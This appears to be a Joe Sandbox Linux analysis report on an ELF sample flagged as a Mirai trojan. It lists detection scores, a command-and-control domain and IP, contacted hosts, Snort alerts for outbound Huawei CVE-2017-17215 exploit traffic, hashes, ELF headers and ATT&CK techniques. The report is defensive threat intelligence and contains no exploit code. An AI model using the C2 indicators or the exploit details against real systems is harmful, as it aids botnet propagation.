Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Indicator Removal on Host	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	11 Non-Standard Port	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	2 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	13 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zh3b51uyPN.elf	63%	ReversingLabs	Linux.Trojan.Mirai
zh3b51uyPN.elf	56%	Virustotal		Browse
zh3b51uyPN.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
amkcnc.duckdns.org	11%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
amkcnc.duckdns.org	179.43.141.99	true	true	11%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	zh3b51uyPN.elf	false		high
http://schemas.xmlsoap.org/soap/envelope/	zh3b51uyPN.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
157.167.18.240	unknown	Austria	44444	FORCEPOINT-CLOUD-ASEU	false
101.135.57.242	unknown	China	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
197.51.4.200	unknown	Egypt	8452	TE-ASTE-ASEG	false
59.31.210.101	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
157.188.154.104	unknown	United States	22252	AS22252US	false
14.108.128.75	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
103.61.13.247	unknown	India	134352	ARIDEIDC-AS-APARIDEOCEANINFOWAYPRIVATELIMITEDIN	false
157.91.221.224	unknown	United States	1767	ILIGHT-NETUS	false
219.29.129.90	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.102.150.104	unknown	Algeria	36947	ALGTEL-ASDZ	false
65.209.49.187	unknown	United States	701	UUNETUS	false
146.163.181.166	unknown	United States	53695	SIUEUS	false
130.247.2.209	unknown	United States	786	JANETJiscServicesLimitedGB	false
130.132.10.0	unknown	United States	29	YALE-ASUS	false
157.215.240.44	unknown	United States	4704	SANNETRakutenMobileIncJP	false
65.191.241.187	unknown	United States	11426	TWC-11426-CAROLINASUS	false
181.126.96.79	unknown	Paraguay	23201	TelecelSAPY	false
14.41.193.111	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
197.157.174.240	unknown	Rwanda	327707	AIRTEL-RW	false
82.233.82.133	unknown	France	12322	PROXADFR	false
202.244.56.207	unknown	Japan	63783	CUCChibaUniversityofCommerceJP	false
130.237.113.86	unknown	Sweden	1653	SUNETSUNETSwedishUniversityNetworkEU	false
157.133.26.128	unknown	United States	395949	SAP-DC-CHUS	false
171.178.53.103	unknown	United States	9874	STARHUB-MOBILEStarHubLtdSG	false
197.163.1.32	unknown	Egypt	24863	LINKdotNET-ASEG	false
88.97.95.15	unknown	United Kingdom	13037	ZEN-ASZenInternet-UKGB	false
54.183.149.54	unknown	United States	16509	AMAZON-02US	false
2.222.21.131	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
196.13.71.173	unknown	South Africa	5713	SAIX-NETZA	false
85.207.221.247	unknown	Czech Republic	25248	BLUETONE-ASTheCzechRepublicCZ	false
121.144.202.165	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
142.199.3.42	unknown	Canada	16623	AHSCA	false
136.37.34.16	unknown	United States	16591	GOOGLE-FIBERUS	false
43.58.219.33	unknown	Japan	4249	LILLY-ASUS	false
107.88.121.205	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
157.80.125.236	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
157.92.123.177	unknown	Argentina	3449	UniversidadNacionaldeBuenosAiresAR	false
197.0.78.202	unknown	Tunisia	37705	TOPNETTN	false
58.0.56.48	unknown	Japan	2510	INFOWEBFUJITSULIMITEDJP	false
166.194.10.241	unknown	United States	20057	ATT-MOBILITY-LLC-AS20057US	false
171.85.86.126	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
41.115.224.80	unknown	South Africa	16637	MTNNS-ASZA	false
157.187.164.203	unknown	United States	668	DNIC-AS-00668US	false
67.21.105.19	unknown	Canada	11084	HURONTELCA	false
131.88.150.163	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
148.150.243.218	unknown	United States	55013	MTSSYSTEMSCORPUS	false
103.169.22.75	unknown	unknown	7575	AARNET-AS-APAustralianAcademicandResearchNetworkAARNe	false
197.205.16.182	unknown	Algeria	36947	ALGTEL-ASDZ	false
78.73.118.79	unknown	Sweden	3301	TELIANET-SWEDENTeliaCompanySE	false
200.121.17.249	unknown	Peru	6147	TelefonicadelPeruSAAPE	false
126.39.221.187	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
221.247.215.0	unknown	Japan	17506	UCOMARTERIANetworksCorporationJP	false
70.210.207.212	unknown	United States	6167	CELLCO-PARTUS	false
197.205.238.210	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.2.21.160	unknown	South Africa	29975	VODACOM-ZA	false
136.201.214.149	unknown	Ireland	60311	ONEFMCH	false
49.13.249.235	unknown	Germany	24940	HETZNER-ASDE	false
69.115.118.216	unknown	United States	6128	CABLE-NET-1US	false
190.131.124.19	unknown	Ecuador	27738	EcuadortelecomSAEC	false
179.126.87.114	unknown	Brazil	53006	ALGARTELECOMSABR	false
108.104.22.220	unknown	United States	10507	SPCSUS	false
157.171.75.230	unknown	Sweden	22192	SSHENETUS	false
153.116.172.116	unknown	United States	5501	FRAUNHOFER-CLUSTER-BWResearchInstitutesspreadalloverGe	false
191.127.26.54	unknown	Chile	7418	TELEFONICACHILESACL	false
62.175.251.184	unknown	Spain	12357	COMUNITELSPAINES	false
139.57.230.60	unknown	Canada	16475	BROCKUCA	false
208.15.91.118	unknown	United States	62802	MST-JCMAINUS	false
119.128.51.8	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
97.131.92.224	unknown	United States	6167	CELLCO-PARTUS	false
188.142.233.202	unknown	Hungary	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
157.33.247.171	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
157.149.155.167	unknown	United States	3464	ASC-NETUS	false
157.86.47.43	unknown	Brazil	21612	FUNDACAOINSTITUTOOSWALDOCRUZBR	false
99.169.147.208	unknown	United States	7018	ATT-INTERNET4US	false
213.1.96.58	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
114.87.152.51	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false
40.85.254.22	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
83.133.224.129	unknown	European Union	13237	LAMBDANET-ASEuropeanBackboneofAS13237DE	false
184.224.16.197	unknown	United States	10507	SPCSUS	false
41.8.13.59	unknown	South Africa	29975	VODACOM-ZA	false
125.16.48.116	unknown	India	9498	BBIL-APBHARTIAirtelLtdIN	false
86.93.221.127	unknown	Netherlands	1136	KPNKPNNationalEU	false
166.56.211.69	unknown	United States	3371	MCI-ASNUS	false
63.166.110.219	unknown	United States	1239	SPRINTLINKUS	false
51.75.58.220	unknown	France	16276	OVHFR	false
117.26.102.77	unknown	China	133776	CHINATELECOM-FUJIAN-QUANZHOU-IDC1QuanzhouCN	false
76.177.30.143	unknown	United States	10796	TWC-10796-MIDWESTUS	false
76.106.206.65	unknown	United States	7922	COMCAST-7922US	false
152.18.133.242	unknown	United States	81	NCRENUS	false
74.173.57.22	unknown	United States	7018	ATT-INTERNET4US	false
18.45.246.240	unknown	United States	3	MIT-GATEWAYSUS	false
84.88.7.225	unknown	Spain	13041	CESCA-ACES	false
182.173.172.219	unknown	Korea Republic of	9530	SHINSEGAE-ASSHINSEGAEICCoLtdKR	false
157.249.189.185	unknown	Norway	224	UNINETTUNINETTTheNorwegianUniversityResearchNetwork	false
158.8.183.190	unknown	United States	5180	DNIC-ASBLK-05120-05376US	false
221.184.196.35	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
195.44.68.44	unknown	United Kingdom	1273	CWVodafoneGroupPLCEU	false
69.25.29.83	unknown	United States	10913	INTERNAP-BLKUS	false
197.251.97.162	unknown	Sudan	37197	SUDRENSD	false
136.130.192.128	unknown	United States	60311	ONEFMCH	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
157.167.18.240	IAEKAiR8SL	Get hash	malicious	Browse
101.135.57.242	UAicb1MHGY	Get hash	malicious	Browse
197.51.4.200	KmI29gtEtw	Get hash	malicious	Browse
	8nXO11Fvre	Get hash	malicious	Browse
	x86_64-20220403-1044	Get hash	malicious	Browse
	Tsunami.arm7	Get hash	malicious	Browse
41.102.150.104	Vrd6984wHv	Get hash	malicious	Browse
	qDcHjUe1i4	Get hash	malicious	Browse
	Uhv3yyh088	Get hash	malicious	Browse
	og3IM7rP72	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
amkcnc.duckdns.org	NlF5EBMJtw.elf	Get hash	malicious	Browse	179.43.141.99
	c5Yo3bKr85.elf	Get hash	malicious	Browse	179.43.141.99
	LeAA8MMXJs.elf	Get hash	malicious	Browse	179.43.141.99
	IqcwyWAHx1.elf	Get hash	malicious	Browse	179.43.141.99
	gEaKUdPQES.elf	Get hash	malicious	Browse	179.43.141.99
	LjxQ98SwUh.elf	Get hash	malicious	Browse	179.43.141.99
	b7UPvNgD0g.elf	Get hash	malicious	Browse	179.43.141.99
	mE2uOwq9hT.elf	Get hash	malicious	Browse	179.43.141.99
	z9JDklwHSk.elf	Get hash	malicious	Browse	179.43.141.99
	1W1tc7zCfD.elf	Get hash	malicious	Browse	179.43.141.99
	2goaafTSO5.elf	Get hash	malicious	Browse	179.43.141.99
	LmdGuCw0gs.elf	Get hash	malicious	Browse	179.43.141.99
	fMB6uAXjd0.elf	Get hash	malicious	Browse	179.43.141.99
	p5f1tBnSAO.elf	Get hash	malicious	Browse	179.43.141.99
	YeDwhgzK2r.elf	Get hash	malicious	Browse	179.43.141.99
	6gNfsIVk3c.elf	Get hash	malicious	Browse	179.43.141.99
	sDA8OTeNkA.elf	Get hash	malicious	Browse	179.43.163.105
	s2CFS8vyPC.elf	Get hash	malicious	Browse	179.43.163.105
	g7VzUD302F.elf	Get hash	malicious	Browse	179.43.163.105
	8hzOAJeX2d.elf	Get hash	malicious	Browse	179.43.163.105

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
FORCEPOINT-CLOUD-ASEU	LmdGuCw0gs.elf	Get hash	malicious	Browse	157.167.66.145
	ttYtmUGKzz.elf	Get hash	malicious	Browse	157.167.66.156
	C8b269Lor6.elf	Get hash	malicious	Browse	157.167.18.213
	EaEC57N3fT.elf	Get hash	malicious	Browse	157.167.66.146
	mips.elf	Get hash	malicious	Browse	157.167.18.233
	x86.elf	Get hash	malicious	Browse	157.167.204.188
	Wadc4sMOO6.elf	Get hash	malicious	Browse	157.167.66.139
	kSGjlIUJqo.elf	Get hash	malicious	Browse	157.167.204.185
	SecuriteInfo.com.Linux.Siggen.9999.1882.22079.elf	Get hash	malicious	Browse	157.167.66.147
	x86-20220923-2008.elf	Get hash	malicious	Browse	157.167.116.193
	i686-20220921-0518.elf	Get hash	malicious	Browse	157.167.204.174
	mcCHLMW9li.elf	Get hash	malicious	Browse	157.167.204.194
	Wq14C1Wb8i	Get hash	malicious	Browse	157.167.66.134
	aYlPjjl4yW	Get hash	malicious	Browse	157.167.66.139
	fUl23tEVBk.dll	Get hash	malicious	Browse	157.167.253.72
	nmApVaK7i1.dll	Get hash	malicious	Browse	157.167.205.177
	BlmFxyZ6zr	Get hash	malicious	Browse	157.167.66.164
	ydPcyC16rW	Get hash	malicious	Browse	157.167.66.135
	http://webdefence.global.blackspider.com/urlwrap/?q=AXicbYo9DoIwGEA_Z0fPIGOhJf5gQhQSSByYnHAxFWqolJa0BUVPYLykR1Hj6vKG995oDJMHwOsJoMWAcYWM7lFDuSiUtFoJVKgGyCzJghyfvYAECwKWN0gdNWdy01aD4QWn0jSd7ehvr6xtzcp1lWSl5j1D4otPcUt1kULRcl3wMvS9GKeEpFHsRz6JsaOZ-aOnBGNv7tDOVjUbwijbysNOL6_kdEv2NQDkd4A3V2Y-pg&Z	Get hash	malicious	Browse	85.115.52.220
	z0r0.x86	Get hash	malicious	Browse	157.167.204.189
CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	DALIAN - STAR(Vessel Information).exe	Get hash	malicious	Browse	119.23.151.219
	#PO2793783774-02-2022-LARGE-REQUEST.exe	Get hash	malicious	Browse	59.110.190.16
	Teklif Isteme Formu.exe	Get hash	malicious	Browse	120.55.82.6
	gEaKUdPQES.elf	Get hash	malicious	Browse	60.205.108.75
	mE2uOwq9hT.elf	Get hash	malicious	Browse	47.99.152.54
	Gk7FgnW13f.elf	Get hash	malicious	Browse	8.168.141.71
	HHkVumP4W7.elf	Get hash	malicious	Browse	223.6.37.106
	rbFaYhNKZ7.elf	Get hash	malicious	Browse	8.186.115.124
	vfsBcVwlIu.elf	Get hash	malicious	Browse	8.129.243.145
	0CCjp5hffL.elf	Get hash	malicious	Browse	223.4.156.118
	S99TFoVa0v.elf	Get hash	malicious	Browse	8.152.213.37
	XQ2pPgozqU	Get hash	malicious	Browse	106.11.40.34
	XQ2pPgozqU	Get hash	malicious	Browse	203.119.217.116
	7oElHDhfdA.elf	Get hash	malicious	Browse	140.205.153.118
	ako1Zf5E6P.elf	Get hash	malicious	Browse	47.114.175.47
	BBXKKBJU1e.elf	Get hash	malicious	Browse	60.205.108.43
	7EZcMORI33.elf	Get hash	malicious	Browse	121.41.250.182
	jSiutdCWH6.elf	Get hash	malicious	Browse	39.97.5.221
	X9UTRDrR3u.elf	Get hash	malicious	Browse	8.144.211.164
	Q0nAW6MyIP.elf	Get hash	malicious	Browse	39.103.165.186

Process:	/usr/bin/mandb
File Type:	GNU dbm 1.x or ndbm database, little endian, 64-bit
Category:	dropped
Size (bytes):	622592
Entropy (8bit):	4.657516417799966
Encrypted:	false
SSDEEP:	6144:rb7cWWov4H5N80nuDSyvxYCWZ0/VmpRELAR/QuU/MzUCl1NZ:H4WWoGgvSiOp2kl
MD5:	0C99179B6C5CFE82203424AD7DAD0D8F
SHA1:	CAC50B64B1352723FF8F58BB1B103B93C396539B
SHA-256:	CEC6859D12C6A981ACA4D7C88F6E62E9616FB4D765C4A52147A7DA7BAD4F2420
SHA-512:	4226FDE9F558FFEF2107C330DB942E7E665C51C520A840221541AD255D0995AF64101C69D42C4BD43037364CC4D152851625A53DC56CC188DC28A3DC8C5602F6
Malicious:	false
Reputation:	high, very likely benign file
Preview:	.W.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Source: zh3b51uyPN.elf	ReversingLabs: Detection: 63%
Source: zh3b51uyPN.elf	Virustotal: Detection: 56%			Perma Link

Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55636 -> 147.46.83.136:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46040 -> 86.69.202.110:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37050 -> 146.148.227.144:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53052 -> 34.160.66.148:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:60262 -> 197.234.61.152:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42520 -> 197.234.59.51:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:51774 -> 156.247.23.250:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:56134 -> 34.95.68.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36190 -> 207.60.3.191:37215

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 157.254.107.218
Source: unknown	TCP traffic detected without corresponding DNS query: 8.50.181.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.240.23.96
Source: unknown	TCP traffic detected without corresponding DNS query: 41.95.237.185
Source: unknown	TCP traffic detected without corresponding DNS query: 41.113.15.132
Source: unknown	TCP traffic detected without corresponding DNS query: 197.189.77.7
Source: unknown	TCP traffic detected without corresponding DNS query: 157.8.216.16
Source: unknown	TCP traffic detected without corresponding DNS query: 41.149.32.177
Source: unknown	TCP traffic detected without corresponding DNS query: 75.206.216.150
Source: unknown	TCP traffic detected without corresponding DNS query: 157.130.90.134
Source: unknown	TCP traffic detected without corresponding DNS query: 132.16.44.205
Source: unknown	TCP traffic detected without corresponding DNS query: 41.182.20.204
Source: unknown	TCP traffic detected without corresponding DNS query: 197.53.152.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.108.140.254
Source: unknown	TCP traffic detected without corresponding DNS query: 41.151.169.95
Source: unknown	TCP traffic detected without corresponding DNS query: 41.97.137.137
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.242.4
Source: unknown	TCP traffic detected without corresponding DNS query: 41.104.21.227
Source: unknown	TCP traffic detected without corresponding DNS query: 25.120.194.112
Source: unknown	TCP traffic detected without corresponding DNS query: 197.77.245.97
Source: unknown	TCP traffic detected without corresponding DNS query: 4.248.149.20
Source: unknown	TCP traffic detected without corresponding DNS query: 41.36.247.203
Source: unknown	TCP traffic detected without corresponding DNS query: 41.188.26.216
Source: unknown	TCP traffic detected without corresponding DNS query: 69.20.243.214
Source: unknown	TCP traffic detected without corresponding DNS query: 157.42.172.177
Source: unknown	TCP traffic detected without corresponding DNS query: 205.223.19.42
Source: unknown	TCP traffic detected without corresponding DNS query: 170.231.59.114
Source: unknown	TCP traffic detected without corresponding DNS query: 134.227.160.216
Source: unknown	TCP traffic detected without corresponding DNS query: 94.49.35.92
Source: unknown	TCP traffic detected without corresponding DNS query: 157.131.162.216
Source: unknown	TCP traffic detected without corresponding DNS query: 62.160.125.26
Source: unknown	TCP traffic detected without corresponding DNS query: 197.81.98.40
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.75.5
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.15.83
Source: unknown	TCP traffic detected without corresponding DNS query: 157.115.245.25
Source: unknown	TCP traffic detected without corresponding DNS query: 66.254.61.180
Source: unknown	TCP traffic detected without corresponding DNS query: 197.118.169.51
Source: unknown	TCP traffic detected without corresponding DNS query: 197.195.26.174
Source: unknown	TCP traffic detected without corresponding DNS query: 197.246.120.185
Source: unknown	TCP traffic detected without corresponding DNS query: 157.214.72.5
Source: unknown	TCP traffic detected without corresponding DNS query: 41.157.184.47
Source: unknown	TCP traffic detected without corresponding DNS query: 221.11.145.13
Source: unknown	TCP traffic detected without corresponding DNS query: 197.231.73.28
Source: unknown	TCP traffic detected without corresponding DNS query: 197.160.129.10
Source: unknown	TCP traffic detected without corresponding DNS query: 41.34.172.67
Source: unknown	TCP traffic detected without corresponding DNS query: 41.28.178.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.63.52.35
Source: unknown	TCP traffic detected without corresponding DNS query: 130.86.58.192

Source: zh3b51uyPN.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: zh3b51uyPN.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1623
Entropy (8bit):	4.736205963159742
Encrypted:	false
SSDEEP:	48:UfzxqJBwxr0sxvxKNq49pVxdncsyUHA5Ax5xf5q4UtDNU1T3o9N0xqJNqqJXDUqc:qEMGsl/4JNsA24eeo+En7i6K
MD5:	7551B3CB1F232478AF8EFF432F991EC1
SHA1:	FC920D74EE0A4A82DC76ABBC0682FAFA9FBB3BF6
SHA-256:	B87900BB4E5ACE594CC77772C0B19DEEA2C205D700C32C836FA9C515C2AAB23C
SHA-512:	21B28C1B6E44E0135ECF05A186EEFE4FCF1A4D06D9494535C044D48403C62E7EF079A07596215E8B59922A8DC146A04E0105B8FC212D52DFABA91FE71A1505DC
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2022-10-25-1:32:53."/var/log/dpkg.log" 2022-10-24-23:32:19."/var/log/speech-dispatcher/debug-flite" 2022-10-25-1:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2022-10-24-23:32:19."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2022-10-24-23:32:19."/var/log/apt/term.log" 2022-10-24-23:32:19."/var/log/ppp-connect-errors" 2022-10-25-1:0:0."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2022-10-25-1:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/apt/history.log" 2022-10-24-23:32:19."/var/log/boot.log" 2022-10-25-1:0:0."/var/log/lightdm/*.log" 2022-10-25-1:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/debug" 2022-10-25-1:0:0."/var/log/mail.log" 2022-10-25-1:0:0."/var/log/kern.log" 2022-10-24-23:32:19."/var/log/cups/access_log" 2022-10-25-1:32:53."/var/log/ufw.log" 2022-10-25-1:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2022-10-25-1:0:

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Mon Oct 24 23:32:19 2022, from Unix, original size modulo 2^32 554
Category:	dropped
Size (bytes):	195
Entropy (8bit):	6.939105890550659
Encrypted:	false
SSDEEP:	6:XW3gP6/k2R7zkVdDiPI0GWkxFreZlo8wxpGeNl:XW3K6s2R/kmP+x8Zu8wj7Nl
MD5:	A08B82CA82B56BFE95EE4B1D6BEF1933
SHA1:	6B0B703B934779028C5631A3A2CF91BDC5FBA2AC
SHA-256:	FE24F841692F560A8CDCC99869C452A5DA91CEBBD16C243CDF1B4E9C1FC1972D
SHA-512:	250C1D1C5A4440F43AF0FA2AB86CB1797FE0F5F876B3D7FFD838AE468CE908028538FC542A3678BC0A54F14EB9DFDB807EE06F896D5C195FC29124E306AC7BAA
Malicious:	false
Preview:	..... Wc......0.....a5..-j`eq..6.Db.K......$.s...oI..M!..~.W^...@..,G.c.G1..IU..p.5M..I&.B.J3(.i.a..]4...3h...'. .Z....2...^O^/;<Ly....)...........8+.'.[...mo\d.{..Qd...l.....Z...*...

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.412012944434802
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	zh3b51uyPN.elf
File size:	46640
MD5:	5fe70eb42ada8bb26aef44f6403608cd
SHA1:	a44db161abe6605088ec432c9dfe8f2da6ad73ca
SHA256:	605069eb2915b8305081cce83c9b6fa7fd2cc753eea6c7d1eaa5e6ef72de70e2
SHA512:	36922c323f5f867c475c8c7dc650bc0af6b63b439782864c113997919dca179de8f5312015a2c57478ebae3fdcabe9c407ae28417a8945b602a09598d1f4de88
SSDEEP:	768:cY/QjSN+MGBs8WWE3vhRIWzqdD+jBnl0FEwaK3g+ZdG:cY/QjSN+MGBzXE3JadDmL0RaK3hZdG
TLSH:	D6234BC49A43EAF5EC110A7420B7FB335B37F07A515AF987D3659932AC42B11A20B2DD
File Content Preview:	.ELF....................d...4...........4. ...(..............................................B...B..................Q.td............................U..S............h........[]...$.............U......=`D...t..5.....B......B......u........t....h.2..........

ELF header
Class:
Data:
Version:
Machine:
Version Number:
Type:
OS/ABI:
ABI Version:
Entry Point Address:
Flags:
ELF Header Size:
Program Header Offset:
Program Header Size:
Number of Program Headers:
Section Header Offset:
Section Header Size:
Number of Section Headers:
Header String Table Index:

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xa706	0x0	0x6	AX	16
.fini	PROGBITS	0x80527b6	0xa7b6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x80527e0	0xa7e0	0xac0	0x0	0x2	A	32
.ctors	PROGBITS	0x80542a4	0xb2a4	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80542ac	0xb2ac	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80542e0	0xb2e0	0x180	0x0	0x3	WA	32
.bss	NOBITS	0x8054460	0xb460	0x600	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0xb460	0x3e	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xb2a0	0xb2a0	6.4345	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0xb2a4	0x80542a4	0x80542a4	0x1bc	0x7bc	4.9133	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Start time:	01:32:53
Start date:	25/10/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:32:54
Start date:	25/10/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	01:32:55
Start date:	25/10/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	01:32:56
Start date:	25/10/2022
Path:	/usr/lib/rsyslog/rsyslog-rotate
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	01:32:52
Start date:	25/10/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:33:01
Start date:	25/10/2022
Path:	/tmp/zh3b51uyPN.elf
Arguments:	/tmp/zh3b51uyPN.elf
File size:	46640 bytes
MD5 hash:	5fe70eb42ada8bb26aef44f6403608cd

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report zh3b51uyPN.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

